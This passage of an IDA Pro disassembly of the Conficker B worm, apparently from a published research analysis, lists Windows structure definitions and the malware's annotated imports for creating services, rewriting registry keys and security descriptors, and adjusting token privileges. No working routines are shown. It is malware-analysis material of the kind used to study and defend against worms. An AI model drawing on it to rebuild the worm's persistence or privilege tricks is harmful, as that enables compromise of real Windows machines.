; --------------------------------------------------------------------------- _WIN32_FIND_DATAA struc ; (sizeof=0x140, standard type) dwFileAttributes dd ? ftCreationTime FILETIME ? ftLastAccessTime FILETIME ? ftLastWriteTime FILETIME ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName db 260 dup(?) cAlternateFileName db 14 dup(?) _padding db 2 dup(?) _WIN32_FIND_DATAA ends ; --------------------------------------------------------------------------- in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$B9D7529FFD1842B2B059BD2E926FB2C5 struc ; (sizeof=0x4, standard type) s_w1 dw ? s_w2 dw ? in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$B9D7529FFD1842B2B059BD2E926FB2C5 ends ; --------------------------------------------------------------------------- in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$F085A1F6735C7CEA9C650424FAF692B1 struc ; (sizeof=0x4, standard type) s_b1 db ? s_b2 db ? s_b3 db ? s_b4 db ? in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$F085A1F6735C7CEA9C650424FAF692B1 ends ; --------------------------------------------------------------------------- in_addr::$C88FC62040169D5EE3E5BDA2C03A058C union ; (sizeof=0x4, standard type) S_un_b in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$F085A1F6735C7CEA9C650424FAF692B1 ? S_un_w in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$B9D7529FFD1842B2B059BD2E926FB2C5 ? S_addr dd ? in_addr::$C88FC62040169D5EE3E5BDA2C03A058C ends ; --------------------------------------------------------------------------- in_addr struc ; (sizeof=0x4, standard type) S_un in_addr::$C88FC62040169D5EE3E5BDA2C03A058C ? in_addr ends ; --------------------------------------------------------------------------- _MIDL_STUB_DESC::$5BCB627D3738D8B5DEACC268C24AE672 union ; (sizeof=0x4, standard type) pAutoHandle dd ? ; offset pPrimitiveHandle dd ? ; offset pGenericBindingInfo dd ? ; offset _MIDL_STUB_DESC::$5BCB627D3738D8B5DEACC268C24AE672 ends ; --------------------------------------------------------------------------- MIDL_STUB_DESC struc ; (sizeof=0x50, standard type) RpcInterfaceInformation dd ? ; offset pfnAllocate dd ? ; offset pfnFree dd ? ; offset IMPLICIT_HANDLE_INFO _MIDL_STUB_DESC::$5BCB627D3738D8B5DEACC268C24AE672 ? apfnNdrRundownRoutines dd ? ; offset aGenericBindingRoutinePairs dd ? ; offset apfnExprEval dd ? ; offset aXmitQuintuple dd ? ; offset pFormatTypes dd ? ; offset fCheckBounds dd ? Version dd ? pMallocFreeStruct dd ? ; offset MIDLVersion dd ? CommFaultOffsets dd ? ; offset aUserMarshalQuadruple dd ? ; offset NotifyRoutineTable dd ? ; offset mFlags dd ? CsRoutineTables dd ? ; offset ProxyServerInfo dd ? ; offset pExprInfo dd ? ; offset MIDL_STUB_DESC ends ; --------------------------------------------------------------------------- sockaddr struc ; (sizeof=0x10, standard type) sa_family dw ? sa_data db 14 dup(?) sockaddr ends ; --------------------------------------------------------------------------- _QUERY_SERVICE_CONFIGW struc ; (sizeof=0x24, standard type) dwServiceType dd ? dwStartType dd ? dwErrorControl dd ? lpBinaryPathName dd ? ; offset lpLoadOrderGroup dd ? ; offset dwTagId dd ? lpDependencies dd ? ; offset lpServiceStartName dd ? ; offset lpDisplayName dd ? ; offset _QUERY_SERVICE_CONFIGW ends ; --------------------------------------------------------------------------- tagLASTINPUTINFO struc ; (sizeof=0x8, standard type) cbSize dd ? dwTime dd ? tagLASTINPUTINFO ends ; --------------------------------------------------------------------------- _PROCESS_INFORMATION struc ; (sizeof=0x10, standard type) hProcess dd ? ; offset hThread dd ? ; offset dwProcessId dd ? dwThreadId dd ? _PROCESS_INFORMATION ends ; --------------------------------------------------------------------------- _STARTUPINFOA struc ; (sizeof=0x44, standard type) cb dd ? lpReserved dd ? ; offset lpDesktop dd ? ; offset lpTitle dd ? ; offset dwX dd ? dwY dd ? dwXSize dd ? dwYSize dd ? dwXCountChars dd ? dwYCountChars dd ? dwFillAttribute dd ? dwFlags dd ? wShowWindow dw ? cbReserved2 dw ? lpReserved2 dd ? ; offset hStdInput dd ? ; offset hStdOutput dd ? ; offset hStdError dd ? ; offset _STARTUPINFOA ends ; --------------------------------------------------------------------------- THREADENTRY32 struc ; (sizeof=0x1C, standard type) dwSize dd ? cntUsage dd ? th32ThreadID dd ? th32OwnerProcessID dd ? tpBasePri dd ? tpDeltaPri dd ? dwFlags dd ? THREADENTRY32 ends ; --------------------------------------------------------------------------- PROCESSENTRY32 struc ; (sizeof=0x128, standard type) dwSize dd ? cntUsage dd ? th32ProcessID dd ? th32DefaultHeapID dd ? th32ModuleID dd ? cntThreads dd ? th32ParentProcessID dd ? pcPriClassBase dd ? dwFlags dd ? szExeFile db 260 dup(?) PROCESSENTRY32 ends ; --------------------------------------------------------------------------- timeval struc ; (sizeof=0x8, standard type) tv_sec dd ? tv_usec dd ? timeval ends ; --------------------------------------------------------------------------- fd_set struc ; (sizeof=0x104, standard type) fd_count dd ? fd_array dd 64 dup(?) fd_set ends ; --------------------------------------------------------------------------- _FILETIME struc ; (sizeof=0x8, standard type) dwLowDateTime dd ? dwHighDateTime dd ? _FILETIME ends ; --------------------------------------------------------------------------- LUID struc ; (sizeof=0x8, standard type) LowPart dd ? HighPart dd ? LUID ends ; --------------------------------------------------------------------------- LUID_AND_ATTRIBUTES struc ; (sizeof=0xC, standard type) Luid LUID ? Attributes dd ? LUID_AND_ATTRIBUTES ends ; --------------------------------------------------------------------------- _TOKEN_PRIVILEGES struc ; (sizeof=0x10, standard type) PrivilegeCount dd ? Privileges LUID_AND_ATTRIBUTES ? _TOKEN_PRIVILEGES ends ; --------------------------------------------------------------------------- _LUID struc ; (sizeof=0x8, standard type) LowPart dd ? HighPart dd ? _LUID ends ; --------------------------------------------------------------------------- _LARGE_INTEGER::$837407842DC9087486FDFA5FEB63B74E struc ; (sizeof=0x8, standard type) LowPart dd ? HighPart dd ? _LARGE_INTEGER::$837407842DC9087486FDFA5FEB63B74E ends ; --------------------------------------------------------------------------- LARGE_INTEGER union ; (sizeof=0x8, standard type) anonymous_0 _LARGE_INTEGER::$837407842DC9087486FDFA5FEB63B74E ? u _LARGE_INTEGER::$837407842DC9087486FDFA5FEB63B74E ? QuadPart dq ? LARGE_INTEGER ends ; --------------------------------------------------------------------------- POINT struc ; (sizeof=0x8, standard type) x dd ? y dd ? POINT ends ; --------------------------------------------------------------------------- MSG struc ; (sizeof=0x1C, standard type) hwnd dd ? ; offset message dd ? wParam dd ? lParam dd ? time dd ? pt POINT ? MSG ends ; --------------------------------------------------------------------------- IID struc ; (sizeof=0x10, standard type) Data1 dd ? Data2 dw ? Data3 dw ? Data4 db 8 dup(?) IID ends ; --------------------------------------------------------------------------- tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC::$674876891A86A76F12C10005982BCA56 struc ; (sizeof=0x8, standard type) Lo32 dd ? Mid32 dd ? tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC::$674876891A86A76F12C10005982BCA56 ends ; --------------------------------------------------------------------------- tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC union ; (sizeof=0x8, standard type) anonymous_0 tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC::$674876891A86A76F12C10005982BCA56 ? Lo64 dq ? tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC ends ; --------------------------------------------------------------------------- tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C::$7F8459940C2B08BD5D82B0F27239141B struc ; (sizeof=0x2, standard type) scale db ? sign db ? tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C::$7F8459940C2B08BD5D82B0F27239141B ends ; --------------------------------------------------------------------------- tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C union ; (sizeof=0x2, standard type) anonymous_0 tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C::$7F8459940C2B08BD5D82B0F27239141B ? signscale dw ? tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C ends ; --------------------------------------------------------------------------- DECIMAL struc ; (sizeof=0x10, standard type) wReserved dw ? anonymous_0 tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C ? Hi32 dd ? anonymous_1 tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC ? DECIMAL ends ; --------------------------------------------------------------------------- tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0::$0FDBD249F1AECD6A49409B6B82281578 struc ; (sizeof=0x8, standard type) pvRecord dd ? ; offset pRecInfo dd ? ; offset tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0::$0FDBD249F1AECD6A49409B6B82281578 ends ; --------------------------------------------------------------------------- tagCY::$4ADA6AE34E722E24764E0C4FBCDA3E73 struc ; (sizeof=0x8, standard type) Lo dd ? Hi dd ? tagCY::$4ADA6AE34E722E24764E0C4FBCDA3E73 ends ; --------------------------------------------------------------------------- CY union ; (sizeof=0x8, standard type) anonymous_0 tagCY::$4ADA6AE34E722E24764E0C4FBCDA3E73 ? int64 dq ? CY ends ; --------------------------------------------------------------------------- tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0 union ; (sizeof=0x8, standard type) llVal dq ? lVal dd ? bVal db ? iVal dw ? fltVal dd ? dblVal dq ? boolVal dw ? scode dd ? cyVal CY ? date dq ? bstrVal dd ? ; offset punkVal dd ? ; offset pdispVal dd ? ; offset parray dd ? ; offset pbVal dd ? ; offset piVal dd ? ; offset plVal dd ? ; offset pllVal dd ? ; offset pfltVal dd ? ; offset pdblVal dd ? ; offset pboolVal dd ? ; offset pscode dd ? ; offset pcyVal dd ? ; offset pdate dd ? ; offset pbstrVal dd ? ; offset ppunkVal dd ? ; offset ppdispVal dd ? ; offset pparray dd ? ; offset pvarVal dd ? ; offset byref dd ? ; offset cVal db ? uiVal dw ? ulVal dd ? ullVal dq ? intVal dd ? uintVal dd ? pdecVal dd ? ; offset pcVal dd ? ; offset puiVal dd ? ; offset pulVal dd ? ; offset pullVal dd ? ; offset pintVal dd ? ; offset puintVal dd ? ; offset anonymous_0 tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0::$0FDBD249F1AECD6A49409B6B82281578 ? tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0 ends ; --------------------------------------------------------------------------- tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62 struc ; (sizeof=0x10, standard type) vt dw ? wReserved1 dw ? wReserved2 dw ? wReserved3 dw ? anonymous_0 tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0 ? tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62 ends ; --------------------------------------------------------------------------- tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF union ; (sizeof=0x10, standard type) anonymous_0 tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62 ? decVal DECIMAL ? tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF ends ; --------------------------------------------------------------------------- VARIANTARG struc ; (sizeof=0x10, standard type) anonymous_0 tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF ? VARIANTARG ends ; --------------------------------------------------------------------------- _SYSTEMTIME struc ; (sizeof=0x10, standard type) wYear dw ? wMonth dw ? wDayOfWeek dw ? wDay dw ? wHour dw ? wMinute dw ? wSecond dw ? wMilliseconds dw ? _SYSTEMTIME ends ; --------------------------------------------------------------------------- FILETIME struc ; (sizeof=0x8, standard type) dwLowDateTime dd ? dwHighDateTime dd ? FILETIME ends ; --------------------------------------------------------------------------- _WIN32_FIND_DATAW struc ; (sizeof=0x250, standard type) dwFileAttributes dd ? ftCreationTime FILETIME ? ftLastAccessTime FILETIME ? ftLastWriteTime FILETIME ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName dw 260 dup(?) cAlternateFileName dw 14 dup(?) _WIN32_FIND_DATAW ends ; --------------------------------------------------------------------------- _SERVICE_STATUS struc ; (sizeof=0x1C, standard type) dwServiceType dd ? dwCurrentState dd ? dwControlsAccepted dd ? dwWin32ExitCode dd ? dwServiceSpecificExitCode dd ? dwCheckPoint dd ? dwWaitHint dd ? _SERVICE_STATUS ends ; --------------------------------------------------------------------------- WSAData struc ; (sizeof=0x190, standard type) wVersion dw ? wHighVersion dw ? szDescription db 257 dup(?) szSystemStatus db 129 dup(?) iMaxSockets dw ? iMaxUdpDg dw ? db ? ; undefined db ? ; undefined lpVendorInfo dd ? ; offset WSAData ends ; --------------------------------------------------------------------------- _OSVERSIONINFOA struc ; (sizeof=0x94, standard type) dwOSVersionInfoSize dd ? dwMajorVersion dd ? dwMinorVersion dd ? dwBuildNumber dd ? dwPlatformId dd ? szCSDVersion db 128 dup(?) _OSVERSIONINFOA ends ; --------------------------------------------------------------------------- _SID_IDENTIFIER_AUTHORITY struc ; (sizeof=0x6, standard type) Value db 6 dup(?) _SID_IDENTIFIER_AUTHORITY ends ; --------------------------------------------------------------------------- CPPEH_RECORD struc ; (sizeof=0x18, standard type) old_esp dd ? exc_ptr dd ? ; offset prev_er dd ? ; offset handler dd ? ; offset msEH_ptr dd ? ; offset disabled dd ? CPPEH_RECORD ends ; --------------------------------------------------------------------------- _msEH struc ; (sizeof=0xC) _unk dd ? ; base 16 FilterProc dd ? ; offset ExitProc dd ? ; offset _msEH ends ; ; +-------------------------------------------------------------------------+ ; | This file has been generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2009 by Hex-Rays, <support@hex-rays.com> | ; | License info: 48-303F-7194-02 | ; | Hassen Saidi - SRI International | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6B80CEC090E436D336F7038C73BB4624 ; File Name : C:\Documents and Settings\Michael Hogsett\Desktop\idata_conficker_B.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 9A0000 ; Section 1. (virtual address 00001000) ; Virtual size : 00000428 ( 1064.) ; Section size in file : 00000424 ( 1060.) ; Offset to raw data for section: 00000200 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; ; Imports from advapi32.dll ; ; OS type : MS Windows ; Application type: DLL 32bit include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Externs ; _idata ; LSTATUS __stdcall RegOpenKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult) extrn RegOpenKeyExW:dword ; CODE XREF: sub_9AD363+3Cp ; sub_9AD3ED+36p ; DATA XREF: ... ; LSTATUS __stdcall RegSetKeySecurity(HKEY hKey, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor) extrn RegSetKeySecurity:dword ; CODE XREF: sub_9AD271+A7p ; DATA XREF: sub_9AD271+A7r ; SC_HANDLE __stdcall OpenSCManagerW(LPCWSTR lpMachineName, LPCWSTR lpDatabaseName, DWORD dwDesiredAccess) extrn OpenSCManagerW:dword ; CODE XREF: sub_9AD062+3Ep ; DATA XREF: sub_9AD062+3Er ; BOOL __stdcall EnumServicesStatusW(SC_HANDLE hSCManager, DWORD dwServiceType, DWORD dwServiceState, LPENUM_SERVICE_STATUSW lpServices, DWORD cbBufSize, LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle) extrn EnumServicesStatusW:dword ; CODE XREF: sub_9AD062+7Ap ; DATA XREF: sub_9AD062+7Ar ; SC_HANDLE __stdcall OpenServiceW(SC_HANDLE hSCManager, LPCWSTR lpServiceName, DWORD dwDesiredAccess) extrn OpenServiceW:dword ; CODE XREF: sub_9AD062+FDp ; DATA XREF: sub_9AD062+FDr ; BOOL __stdcall QueryServiceConfigW(SC_HANDLE hService, LPQUERY_SERVICE_CONFIGW lpServiceConfig, DWORD cbBufSize, LPDWORD pcbBytesNeeded) extrn QueryServiceConfigW:dword ; CODE XREF: sub_9AD062+11Dp ; DATA XREF: sub_9AD062+11Dr ; BOOL __stdcall QueryServiceConfig2W(SC_HANDLE hService, DWORD dwInfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded) extrn QueryServiceConfig2W:dword ; CODE XREF: sub_9AD062+143p ; DATA XREF: sub_9AD062+143r ; BOOL __stdcall ImpersonateLoggedOnUser(HANDLE hToken) extrn ImpersonateLoggedOnUser:dword ; CODE XREF: sub_9AC33A+45p ; DATA XREF: sub_9AC33A+45r ; BOOL __stdcall InitializeSecurityDescriptor(PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision) extrn InitializeSecurityDescriptor:dword ; CODE XREF: sub_9AC163+4Ep ; sub_9AD271+8Ap ; DATA XREF: ... ; DWORD __stdcall GetLengthSid(PSID pSid) extrn GetLengthSid:dword ; CODE XREF: sub_9AC163+6Fp ; sub_9AD271+49p ; DATA XREF: ... ; BOOL __stdcall InitializeAcl(PACL pAcl, DWORD nAclLength, DWORD dwAclRevision) extrn InitializeAcl:dword ; CODE XREF: sub_9AC163+9Ap ; sub_9AD271+6Dp ; DATA XREF: ... ; BOOL __stdcall AddAccessAllowedAce(PACL pAcl, DWORD dwAceRevision, DWORD AccessMask, PSID pSid) extrn AddAccessAllowedAce:dword ; CODE XREF: sub_9AC163+A9p ; sub_9AD271+7Ep ; DATA XREF: ... ; BOOL __stdcall SetSecurityDescriptorDacl(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted) extrn SetSecurityDescriptorDacl:dword ; CODE XREF: sub_9AC163+B9p ; sub_9AD271+98p ; DATA XREF: ... ; BOOL __stdcall SetFileSecurityA(LPCSTR lpFileName, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor) extrn SetFileSecurityA:dword ; CODE XREF: sub_9AC163+C8p ; DATA XREF: sub_9AC163+C8r ; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) extrn RegQueryValueExA:dword ; CODE XREF: sub_9AC0AE+32p ; DATA XREF: sub_9AC0AE+32r ; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult) extrn RegOpenKeyExA:dword ; CODE XREF: sub_9AC064+17p ; sub_9AC0AE+19p ; DATA XREF: ... ; LSTATUS __stdcall RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData) extrn RegSetValueExA:dword ; CODE XREF: sub_9AC064+31p ; sub_9AD71D+1CBp ; DATA XREF: ... ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn RegCloseKey:dword ; CODE XREF: sub_9AC064+3Fp ; sub_9AC0AE+40p ... ; BOOL __stdcall LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid) extrn LookupPrivilegeValueA:dword ; CODE XREF: sub_9AB5DC+3Cp ; DATA XREF: sub_9AB5DC+3Cr ; BOOL __stdcall AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength) extrn AdjustTokenPrivileges:dword ; CODE XREF: sub_9AB5DC+52p ; DATA XREF: sub_9AB5DC+52r ; BOOL __stdcall ChangeServiceConfigA(SC_HANDLE hService, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, LPCSTR lpPassword, LPCSTR lpDisplayName) extrn ChangeServiceConfigA:dword ; CODE XREF: sub_9AB558+69p ; DATA XREF: sub_9AB558+69r ; BOOL __stdcall RevertToSelf() extrn RevertToSelf:dword ; CODE XREF: sub_9A89BC+1Fp ; DATA XREF: sub_9A89BC+1Fr ; SC_HANDLE __stdcall CreateServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, LPCSTR lpDisplayName, DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, LPCSTR lpPassword) extrn CreateServiceA:dword ; CODE XREF: sub_9A7F48+3Ap ; DATA XREF: sub_9A7F48+3Ar ; BOOL __stdcall StartServiceA(SC_HANDLE hService, DWORD dwNumServiceArgs, LPCSTR *lpServiceArgVectors) extrn StartServiceA:dword ; CODE XREF: sub_9A7F48+4Fp ; DATA XREF: sub_9A7F48+4Fr ; SC_HANDLE __stdcall OpenSCManagerA(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess) extrn OpenSCManagerA:dword ; CODE XREF: sub_9A7EE7+14p ; sub_9A7F48+Ep ... ; SC_HANDLE __stdcall OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess) extrn OpenServiceA:dword ; CODE XREF: sub_9A7EE7+2Ap ; sub_9AB558+2Ap ; DATA XREF: ... ; BOOL __stdcall CloseServiceHandle(SC_HANDLE hSCObject) extrn CloseServiceHandle:dword ; CODE XREF: sub_9A7EE7+54p ; sub_9A7EE7+57p ... ; BOOL __stdcall ControlService(SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus) extrn ControlService:dword ; CODE XREF: sub_9A7EE7+43p ; sub_9AB558+44p ; DATA XREF: ... ; BOOL __stdcall DeleteService(SC_HANDLE hService) extrn DeleteService:dword ; CODE XREF: sub_9A7EE7+4Dp ; DATA XREF: sub_9A7EE7+4Dr ; BOOL __stdcall OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle) extrn OpenProcessToken:dword ; CODE XREF: sub_9A72CA+19p ; sub_9AB5DC+16p ... ; BOOL __stdcall GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength) extrn GetTokenInformation:dword ; CODE XREF: sub_9A72CA+39p ; sub_9A72CA+75p ; DATA XREF: ... ; BOOL __stdcall AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD nSubAuthority0, DWORD nSubAuthority1, DWORD nSubAuthority2, DWORD nSubAuthority3, DWORD nSubAuthority4, DWORD nSubAuthority5, DWORD nSubAuthority6, DWORD nSubAuthority7, PSID *pSid) extrn AllocateAndInitializeSid:dword ; CODE XREF: sub_9A72CA+B1p ; sub_9A72CA+C6p ... ; BOOL __stdcall EqualSid(PSID pSid1, PSID pSid2) extrn EqualSid:dword ; CODE XREF: sub_9A72CA+E8p ; sub_9A72CA+F8p ; DATA XREF: ... ; PVOID __stdcall FreeSid(PSID pSid) extrn FreeSid:dword ; CODE XREF: sub_9A72CA+122p ; sub_9A72CA+12Cp ... ; LSTATUS __stdcall RegEnumKeyExW(HKEY hKey, DWORD dwIndex, LPWSTR lpName, LPDWORD lpcchName, LPDWORD lpReserved, LPWSTR lpClass, LPDWORD lpcchClass, PFILETIME lpftLastWriteTime) extrn RegEnumKeyExW:dword ; CODE XREF: sub_9AD363+77p ; DATA XREF: sub_9AD363+Br ; LSTATUS __stdcall RegSetValueExW(HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData) extrn RegSetValueExW:dword ; CODE XREF: sub_9AD3ED+F8p ; sub_9AD50E+F2p ... ; LSTATUS __stdcall RegQueryValueExW(HKEY hKey, LPCWSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) extrn RegQueryValueExW:dword ; CODE XREF: sub_9AD3ED+6Bp ; sub_9AD3ED+B5p ; DATA XREF: ... ; LSTATUS __stdcall RegFlushKey(HKEY hKey) extrn RegFlushKey:dword ; CODE XREF: sub_9AD50E+1DFp ; DATA XREF: sub_9AD50E+1DFr ; LSTATUS __stdcall RegCreateKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition) extrn RegCreateKeyExW:dword ; CODE XREF: sub_9AD50E+C5p ; sub_9AD50E+19Ep ; DATA XREF: ... ; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition) extrn RegCreateKeyExA:dword ; CODE XREF: sub_9AD71D+1A2p ; DATA XREF: sub_9AD71D+1A2r ; ; Imports from kernel32.dll ; extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr ; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) extrn WaitForMultipleObjects:dword ; CODE XREF: sub_9ADD9B+190p ; DATA XREF: sub_9ADD9B+190r ; BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime) extrn SystemTimeToFileTime:dword ; CODE XREF: sub_9ADB52+91p ; DATA XREF: sub_9ADB52+91r ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn FreeLibrary:dword ; CODE XREF: sub_9AD00D+49p ; DATA XREF: sub_9AD00D+49r ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn GetVersionExA:dword ; CODE XREF: sub_9A7170+2Ap ; sub_9A7CD0+49p ... ; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer, UINT uSize) extrn GetSystemDirectoryA:dword ; CODE XREF: sub_9A722A+44p ; sub_9A7670+5Ep ... ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn CloseHandle:dword ; CODE XREF: sub_9A72CA+139p ; sub_9A799E+135p ... ; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem) extrn GlobalFree:dword ; CODE XREF: sub_9A72CA+12Fp ; sub_9A752A+ECp ... ; HGLOBAL __stdcall GlobalAlloc(UINT uFlags, SIZE_T dwBytes) extrn GlobalAlloc:dword ; CODE XREF: sub_9A72CA+58p ; sub_9A9654+56p ... ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: sub_9A72CA+43p ; sub_9A799E+F0p ... ; HANDLE __stdcall GetCurrentProcess() extrn GetCurrentProcess:dword ; CODE XREF: sub_9A72CA+12p ; sub_9AB5DC+Fp ; DATA XREF: ... ; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar) extrn WideCharToMultiByte:dword ; CODE XREF: sub_9A7410+50p ; sub_9A8326+42p ... ; DWORD __stdcall GetVersion() extrn GetVersion:dword ; CODE XREF: sub_9A752A+127p ; StartAddress+41p ... ; BOOL __stdcall MoveFileExA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, DWORD dwFlags) extrn MoveFileExA:dword ; CODE XREF: sub_9A752A+E3p ; sub_9A7670+31p ... ; BOOL __stdcall MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName) extrn MoveFileA:dword ; CODE XREF: sub_9A752A+89p ; DATA XREF: sub_9A752A+89r ; DWORD __stdcall GetTempPathA(DWORD nBufferLength, LPSTR lpBuffer) extrn GetTempPathA:dword ; CODE XREF: sub_9A7670+FDp ; sub_9A7FAE+70p ... ; void __stdcall Sleep(DWORD dwMilliseconds) extrn Sleep:dword ; CODE XREF: sub_9A7670+49p ; StartAddress+36p ... ; BOOL __stdcall DeleteFileA(LPCSTR lpFileName) extrn DeleteFileA:dword ; CODE XREF: sub_9A7670+3Ep ; sub_9A7FAE+119p ... ; BOOL __stdcall LockFile(HANDLE hFile, DWORD dwFileOffsetLow, DWORD dwFileOffsetHigh, DWORD nNumberOfBytesToLockLow, DWORD nNumberOfBytesToLockHigh) extrn LockFile:dword ; CODE XREF: StartAddress+117p ; DATA XREF: StartAddress+117r ; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) extrn GetFileSize:dword ; CODE XREF: StartAddress+10Dp ; sub_9AB76E+2Dp ; DATA XREF: ... ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) extrn CreateFileA:dword ; CODE XREF: StartAddress+EBp ; StartAddress+FFp ... ; UINT __stdcall SetErrorMode(UINT uMode) extrn 